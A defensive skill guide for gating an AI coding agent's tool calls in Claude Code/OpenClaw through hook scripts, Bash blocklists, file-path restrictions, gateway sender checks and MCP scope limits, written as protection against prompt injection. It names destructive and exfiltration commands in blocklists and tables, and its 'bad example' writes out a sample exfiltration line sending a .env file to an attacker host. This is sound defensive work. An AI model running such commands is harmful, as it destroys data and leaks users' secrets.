OpenClaw Tool Auth: Per-Tool Authorization for Claude Code & OpenClaw

The agent's allowed-tools list is the last line of defense. If the Gateway is breached and the Core is tricked, the only thing standing between a prompt-injection payload and rm -rf / is the tool authorization layer. This skill implements deterministic, code-level controls that gate every tool call through validation hooks, command blocklists, path restrictions, and sender verification — so the agent can only do what you explicitly permit. [EXPLICIT]

Principio Rector

Cada herramienta es un privilegio que se gana, no un derecho que se hereda. Ningun tool call debe ejecutarse sin pasar por una validacion determinista — el agente propone, el hook dispone.

Tool Authorization Philosophy

1. Default-deny, explicit-allow. Every tool starts blocked. You add permissions one at a time, with documented justification. The allowed-tools list in SKILL.md frontmatter and settings.json enforces the ceiling; hooks enforce the floor. [EXPLICIT]
2. Deterministic over heuristic. Hooks are Python/Bash scripts that return exit codes — not LLM judgments. A blocklisted command is blocked 100% of the time, regardless of context or persuasion. [EXPLICIT]
3. Hooks are the enforcement layer. Claude Code's PreToolUse and PostToolUse hooks are the mechanism. They receive tool name and input via environment variables, validate against rules, and exit 0 (allow) or exit 2 (block). [EXPLICIT]
4. Personal safety is not optional. Even single-user deployments need tool auth. You are protecting yourself from prompt injection, supply-chain attacks, and your own future mistakes. [EXPLICIT]

---

Inputs

Parse $ARGUMENTS: $1 = project name, --tools = comma-separated tool list to authorize. [EXPLICIT]

Parameters:

• {MODO}: piloto-auto (default) | desatendido | supervisado | paso-a-paso [EXPLICIT]
• {FORMATO}: markdown (default) | html | dual
• --tools: Explicit tool list to authorize (e.g., bash,read,write,edit). Default: read,glob,grep (read-only). [EXPLICIT]
• --strict: Enable maximum restriction mode — blocklist-first for Bash, project-dir-only for files. [EXPLICIT]
• --audit-only: Deploy hooks in logging-only mode (no blocking). Useful for migration. [EXPLICIT]

When to Use

• Implementing PreToolUse hooks to validate Bash commands before execution [EXPLICIT]
• Setting up command blocklists and allowlists for the Terminal/Bash tool [EXPLICIT]
• Restricting file system access to specific directories and blocking sensitive paths [EXPLICIT]
• Authenticating Gateway messages (verifying Telegram chat_id, WhatsApp number, Slack workspace) [EXPLICIT]
• Controlling which MCP tools each agent role can invoke [EXPLICIT]
• Migrating from permissive (dangerouslySkipPermissions) to hardened configuration [EXPLICIT]
• Adding audit logging to all tool invocations via PostToolUse hooks [EXPLICIT]

When NOT to Use

Need	Use Instead	Why
Designing overall security architecture	5022-open-claude-security	Architecture first, implementation second
Docker container isolation	5023-openclaw-isolation	Container-level, not tool-level
End-to-end personal deployment	5025-openclaw-personal-deploy	Orchestrates the full deploy
Creating hooks from scratch (generic)	9038-hook-creator	Generic hook creation, not security-specific
Building OpenClaw agents	9081-open-claw-builder	Builds agents; this skill secures their tools
General API security design	5005-api-security	API-level, not agent-tool-level

---

Before Building

Detect existing hook and configuration state:

Glob .claude/settings.json .claude/settings.local.json
Glob .claude/hooks/*.py .claude/hooks/*.sh
Glob .mcp.json
Glob CLAUDE.md

Load reference materials:

Read ${CLAUDE_SKILL_DIR}/references/hook-scripts.md

If existing hooks are found, audit them first. If no hooks exist, generate from templates. [EXPLICIT]

---

Core Process: 5 Sections

S1: PreToolUse Hook Implementation

PreToolUse hooks intercept every tool call before execution. Claude Code passes the tool name and input via environment variables, the hook script validates, and exits with a code that determines the outcome. [EXPLICIT]

Hook lifecycle:

Agent decides to call tool
        │
        ▼
┌─────────────────────────┐
│  PreToolUse Hook fires  │
│  ENV: TOOL_NAME         │
│  ENV: TOOL_INPUT (JSON) │
│  Timeout: 5000ms        │
└────────┬────────────────┘
         │
    ┌────┴────┐
    │ Validate │
    └────┬────┘
         │
    ┌────┴─────────────┐
    │                  │
 exit 0             exit 2
 (ALLOW)            (BLOCK)
    │                  │
    ▼                  ▼
 Tool executes    Tool blocked,
                  reason shown
                  to agent

Hook registration in settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "command": "python3 .claude/hooks/validate-bash.py",
        "timeout": 5000
      },
      {
        "matcher": "Read|Write|Edit",
        "command": "python3 .claude/hooks/validate-file-access.py",
        "timeout": 5000
      }
    ],
    "PostToolUse": [
      {
        "command": "python3 .claude/hooks/audit-log.py",
        "timeout": 3000
      }
    ]
  }
}

Exit code contract:

Exit Code	Meaning	Agent Behavior
0	Allowed	Tool executes normally [EXPLICIT]
1	Hook error	Tool proceeds (fail-open) — avoid this [EXPLICIT]
2	Blocked	Tool blocked, stderr shown as reason [EXPLICIT]

Critical: Exit code 1 means hook failure, which is fail-open by default. Always ensure hooks exit 0 or 2, never 1 from validation logic. Handle all exceptions to avoid accidental fail-open. [EXPLICIT]

Hook script requirements:

• Read TOOL_NAME and TOOL_INPUT from environment variables [EXPLICIT]
• Parse TOOL_INPUT as JSON [EXPLICIT]
• Validate against rules (blocklist, allowlist, path checks) [EXPLICIT]
• Exit 0 to allow, exit 2 to block [EXPLICIT]
• Write reason to stderr when blocking (agent sees this) [EXPLICIT]
• Complete within timeout (5000ms default) or tool proceeds [EXPLICIT]
• Log all decisions (allow and block) for audit trail [INFERRED]

Minimal validate-bash.py example:

#!/usr/bin/env python3
"""PreToolUse hook: validates Bash commands against blocklist."""
import os, sys, json, re

BLOCKLIST = [
    r'\brm\s+(-[rRf]+\s+)*/',          # rm with absolute paths
    r'\bcurl\b.*\|\s*(sh|bash)',         # pipe-to-shell
    r'\bwget\b.*\|\s*(sh|bash)',         # pipe-to-shell
    r'\bchmod\s+777\b',                  # world-writable
    r'\bsudo\b',                         # privilege escalation
    r'\bdd\s+',                          # disk-level operations
    r'\bmkfs\b',                         # filesystem formatting
    r'\b>\s*/dev/sd',                    # raw device writes
    r'\bnc\s+-l',                        # netcat listeners
    r'dangerouslySkipPermissions',       # self-modification
]

def main():
    tool_input = json.loads(os.environ.get("TOOL_INPUT", "{}"))
    command = tool_input.get("command", "")

    for pattern in BLOCKLIST:
        if re.search(pattern, command, re.IGNORECASE):
            print(f"BLOCKED: command matches blocklist pattern: {pattern}",
                  file=sys.stderr)
            sys.exit(2)

    sys.exit(0)

if __name__ == "__main__":
    main()

Full production scripts with logging, allowlists, and edge-case handling are in references/hook-scripts.md. [EXPLICIT]

---

S2: Bash Command Authorization

Bash is the highest-risk tool. A single unvalidated command can exfiltrate data, modify system files, or install malware. Two complementary strategies: blocklist (block known-bad patterns) and allowlist (allow only known-good patterns). [EXPLICIT]

Strategy selection:

Strategy	Security Level	Usability	When to Use
Blocklist-only	Medium	High	Development, personal use with trusted inputs [EXPLICIT]
Allowlist-only	Very High	Low	CI/CD, restricted agents, high-security [EXPLICIT]
Blocklist + Allowlist	High	Medium	Personal OpenClaw with gateway exposure [EXPLICIT]

Blocklist categories:

Category	Patterns	Severity
Destructive operations	rm -rf /, mkfs, dd if=, format commands	Critical [EXPLICIT]
Privilege escalation	sudo, su -, chmod 777, chown root	Critical [EXPLICIT]
Network exfiltration	curl POST, wget -O-, nc, scp, reverse shells	Critical [EXPLICIT]
Pipe-to-shell	`curl	sh, wget
Self-modification	Edit .claude/, modify settings.json, change hooks	High [EXPLICIT]
Credential access	cat ~/.ssh/*, cat .env, printenv with secrets	High [EXPLICIT]
Package installation	npm install -g, pip install, apt install	Medium [INFERRED]

Allowlist approach (for --strict mode):

ALLOWLIST = [
    r'^(ls|cat|head|tail|wc|sort|uniq|grep|find|echo)\b',
    r'^git\s+(status|log|diff|branch|show)\b',
    r'^npm\s+(test|run\s+lint|run\s+build)\b',
    r'^python3?\s+.*\.py$',
    r'^node\s+.*\.js$',
]

When using allowlist mode, any command not matching an allowlist pattern is blocked by default. This is significantly safer but requires maintaining the allowlist as workflow needs evolve. [EXPLICIT]

Audit logging for Bash:

Every Bash command — allowed or blocked — gets logged with timestamp, command text, decision, and matched pattern. This creates an audit trail for incident investigation. Log destination: .claude/logs/tool-auth.jsonl. [EXPLICIT]

---

S3: File System Access Control

File access (Read, Write, Edit) must be restricted to prevent reading secrets, modifying configuration, or accessing files outside the project scope. [EXPLICIT]

Path authorization rules:

Rule	Implementation	Purpose
Project directory only	Resolve all paths to absolute, verify prefix matches project root	Prevent directory traversal [EXPLICIT]
Sensitive file blocking	Block patterns: .env*, *.pem, *.key, id_rsa*, credentials*	Protect secrets [EXPLICIT]
Config protection	Block writes to .claude/settings*.json, .claude/hooks/*	Prevent self-modification [EXPLICIT]
Symlink resolution	Resolve symlinks before path check	Prevent symlink escapes [EXPLICIT]
Home directory blocking	Block access to ~/.ssh/, ~/.aws/, ~/.gnupg/	Protect system credentials [EXPLICIT]

Path validation logic:

import os

PROJECT_ROOT = os.path.abspath(os.environ.get("PROJECT_ROOT", os.getcwd()))

BLOCKED_PATTERNS = [
    ".env", ".pem", ".key", "id_rsa", "id_ed25519",
    "credentials", ".aws/", ".ssh/", ".gnupg/",
]

WRITE_PROTECTED = [
    ".claude/settings.json", ".claude/settings.local.json",
    ".claude/hooks/",
]

def validate_path(file_path, is_write=False):
    resolved = os.path.realpath(os.path.abspath(file_path))

    # Must be within project root
    if not resolved.startswith(PROJECT_ROOT):
        return False, f"Outside project root: {resolved}"

    # Check blocked patterns
    for pattern in BLOCKED_PATTERNS:
        if pattern in resolved.lower():
            return False, f"Sensitive file blocked: {pattern}"

    # Write-specific protections
    if is_write:
        rel = os.path.relpath(resolved, PROJECT_ROOT)
        for protected in WRITE_PROTECTED:
            if rel.startswith(protected):
                return False, f"Write-protected path: {protected}"

    return True, "OK"

Full implementation with symlink resolution and edge cases in references/hook-scripts.md. [EXPLICIT]

---

S4: Gateway Authentication

When OpenClaw exposes a Gateway (Telegram bot, WhatsApp adapter, Slack app, HTTP API), every incoming message must be verified before reaching the agent. Without sender verification, anyone who discovers the endpoint can inject prompts. [EXPLICIT]

Authentication per platform:

Platform	Identifier	Verification Method
Telegram	chat_id (integer)	Compare against allowlist of authorized chat IDs [EXPLICIT]
WhatsApp	Phone number (E.164)	Compare against allowlist of authorized numbers [EXPLICIT]
Slack	workspace_id + user_id	Verify workspace membership + user allowlist [EXPLICIT]
HTTP API	API key or JWT	Validate token against known keys, check expiry [EXPLICIT]
Discord	guild_id + user_id	Server membership + role check [INFERRED]

Gateway auth configuration:

{
  "gateway_auth": {
    "telegram": {
      "allowed_chat_ids": [123456789],
      "reject_unknown": true
    },
    "whatsapp": {
      "allowed_numbers": ["+1234567890"],
      "reject_unknown": true
    },
    "slack": {
      "allowed_workspaces": ["T0123ABCDEF"],
      "allowed_users": ["U0123ABCDEF"],
      "reject_unknown": true
    },
    "http": {
      "auth_type": "bearer",
      "token_env_var": "OPENCLAW_API_TOKEN"
    }
  }
}

Auth flow: Extract sender identity → check allowlist → match: pass with metadata, no match + reject_unknown: drop + log. [EXPLICIT]

Rate limits: 10 msg/min, 100 msg/hour, 4096 char max, 60s cooldown on breach. Implementation in references/hook-scripts.md. [EXPLICIT]

---

S5: MCP Scope Authorization

Each MCP server grants the agent access to a set of tools. Without scope controls, an agent with access to a database MCP and a messaging MCP could read your database and send the contents via message — a classic confused-deputy attack. [EXPLICIT]

MCP scope control strategies:

Strategy	Implementation	Security Level
Per-MCP tool allowlist	Only permit specific tools from each MCP server	High [EXPLICIT]
Data flow labeling	Tag MCP outputs with sensitivity labels, restrict cross-MCP flow	Very High [INFERRED]
Read-only MCP access	Configure MCP to expose only read operations	Medium [EXPLICIT]
Single-MCP sessions	Each agent session connects to only one MCP	Very High [EXPLICIT]

MCP scope config — per-server scope block with allowed_tools, blocked_tools, and data_label:

{ "filesystem": { "scope": { "allowed_tools": ["read_file", "list_directory"], "blocked_tools": ["write_file"], "data_label": "internal" } },
  "github": { "scope": { "allowed_tools": ["list_issues", "get_issue"], "blocked_tools": ["delete_repo"], "data_label": "public" } } }

Cross-MCP data flow rules:

Source Label	Can Flow To	Blocked From
internal	Same-label MCPs, local file system	External MCPs, messaging [EXPLICIT]
public	Any MCP	None [EXPLICIT]
secret	No MCPs, local encrypted storage only	All MCPs [EXPLICIT]
user-data	Same-label MCPs with consent	External MCPs, logging [INFERRED]

MCP audit requirements:

• Log every MCP tool invocation with server name, tool name, input size, and timestamp [EXPLICIT]
• Flag cross-label data flows in audit log [INFERRED]
• Alert on blocked tool attempts (possible confused-deputy indicator) [INFERRED]

---

Assumptions & Limits

Assumptions:

• Deployment uses Claude Code hooks system (PreToolUse/PostToolUse with env vars) [EXPLICIT]
• Python 3.8+ available for hook scripts (or Bash as fallback) [EXPLICIT]
• Hook timeout defaults to 5000ms — hooks must complete within this window [EXPLICIT]
• MCP scope controls are enforced at the configuration level, not by MCP servers themselves [INFERRED]
• Gateway adapters expose sender identity fields in their message payloads [EXPLICIT]

Limits:

• Hooks are deterministic pattern matchers — they cannot detect semantic intent or novel attack patterns [EXPLICIT]
• Exit code 1 (hook error) is fail-open by default; this is a Claude Code design decision, not configurable [EXPLICIT]
• MCP data flow labels are advisory and enforced at the hook level, not at the MCP transport level [INFERRED]
• Gateway auth depends on platform-provided identity fields — these can be spoofed at the platform API level (but not at the message level for Telegram/WhatsApp) [EXPLICIT]
• This skill implements tool-level controls; container-level isolation requires companion skill 5023-openclaw-isolation [EXPLICIT]

---

Edge Cases

1. User wants to temporarily bypass a hook for debugging. Never disable hooks by removing them. Instead, set an environment variable TOOL_AUTH_MODE=audit-only that switches hooks from blocking (exit 2) to logging-only (exit 0 + log entry). This maintains the audit trail while unblocking the workflow. Remove the env var when done. Document the bypass window in logs. [EXPLICIT]

2. New tool added to allowed-tools that has no hook coverage. When adding a tool to settings.json permissions, always create or update the corresponding PreToolUse hook matcher. Default behavior for unmatched tools depends on settings: if no hook matches, the tool proceeds without validation. Create a catch-all hook with "matcher": ".*" that logs unmatched tool calls and optionally blocks them. [EXPLICIT]

3. False positive blocking a legitimate command. The blocklist pattern rm\s+(-[rRf]+\s+)*/ blocks rm -rf /tmp/build-cache even though it is safe. Solutions: (a) add a path-based exception for known-safe directories, (b) use an allowlist entry that overrides the blocklist for specific patterns, (c) log the false positive and refine the regex. Never weaken the blocklist globally for a single exception. [EXPLICIT]

4. Hook script crashes (exit code 1 — fail-open). Because exit 1 means hook error (fail-open), a crashing hook silently allows all tool calls. Mitigation: wrap all hook logic in try/except with explicit exit(2) in the except block. This converts hook errors to fail-closed. Test hooks with malformed inputs to verify they never crash to exit 1. [EXPLICIT]

5. Gateway receives message from new device/number not in allowlist. With reject_unknown: true, the message is silently dropped. The user has no feedback mechanism. Solution: log rejected messages with sender identity. Implement a notification mechanism (separate from the agent) that alerts the user when unknown senders are rejected. Provide a CLI command to add senders to the allowlist: python3 gateway-auth.py --add-sender telegram:123456. [INFERRED]

---

Good vs Bad Example

Good: Hardened Tool Auth Configuration

// settings.json — hooks registered for every tool
{
  "hooks": {
    "PreToolUse": [
      { "matcher": "Bash", "command": "python3 .claude/hooks/validate-bash.py", "timeout": 5000 },
      { "matcher": "Read|Write|Edit", "command": "python3 .claude/hooks/validate-file-access.py", "timeout": 5000 }
    ],
    "PostToolUse": [
      { "command": "python3 .claude/hooks/audit-log.py", "timeout": 3000 }
    ]
  }
}

Why good: Every tool gated by PreToolUse hook. Bash validated against blocklist (5 patterns). File access validated against path allowlist. Audit log captures every tool call. Scripts use fail-closed (exit 2 on error, not exit 1). Audit-only mode available via TOOL_AUTH_MODE=audit-only. Full implementations in references/hook-scripts.md. [EXPLICIT]

Bad: No Validation

{
  "permissions": {
    "allow": ["Bash", "Read", "Write", "Edit"],
    "deny": []
  }
}

No hooks. No blocklist. No audit trail. Every Bash command executes without inspection. A prompt injection that reaches the agent can run arbitrary shell commands — curl attacker.com/exfil?data=$(cat .env) executes silently. [EXPLICIT]

Why bad: No hook registration means no validation layer. The allow list grants tools but nothing validates their usage. The deny list is empty — no patterns are blocked. No logging means incidents are invisible. [EXPLICIT]

---

Validation Gate

• PreToolUse hooks registered for Bash tool with blocklist validation [EXPLICIT]
• PreToolUse hooks registered for Read/Write/Edit with path authorization [EXPLICIT]
• PostToolUse audit hook logs every tool invocation to structured log file [EXPLICIT]
• Hook scripts handle exceptions with exit(2) — fail-closed, never fail-open [EXPLICIT]
• Gateway authentication implemented for every exposed platform (Telegram/WhatsApp/Slack/HTTP) [EXPLICIT]
• MCP scope restrictions configured per-server with tool allowlists [EXPLICIT]
• Audit log captures: timestamp, tool, input (truncated), decision, matched rule [EXPLICIT]
• False-positive handling documented: exception patterns, override mechanism [EXPLICIT]
• Audit-only migration mode available via TOOL_AUTH_MODE environment variable [EXPLICIT]

---

Reference Files

File	Content	Load When
references/hook-scripts.md	Production-ready hook implementations: validate-bash.py, validate-file-access.py, audit-log.py, gateway-auth.py	Always — core implementation reference [EXPLICIT]

---

Complexity tier: Standard (references/) [EXPLICIT] Companion skills: 5022-open-claude-security (architecture), 5023-openclaw-isolation (containers), 5025-openclaw-personal-deploy (deployment) [EXPLICIT] Author: Javier Montano | Last updated: 2026-03-27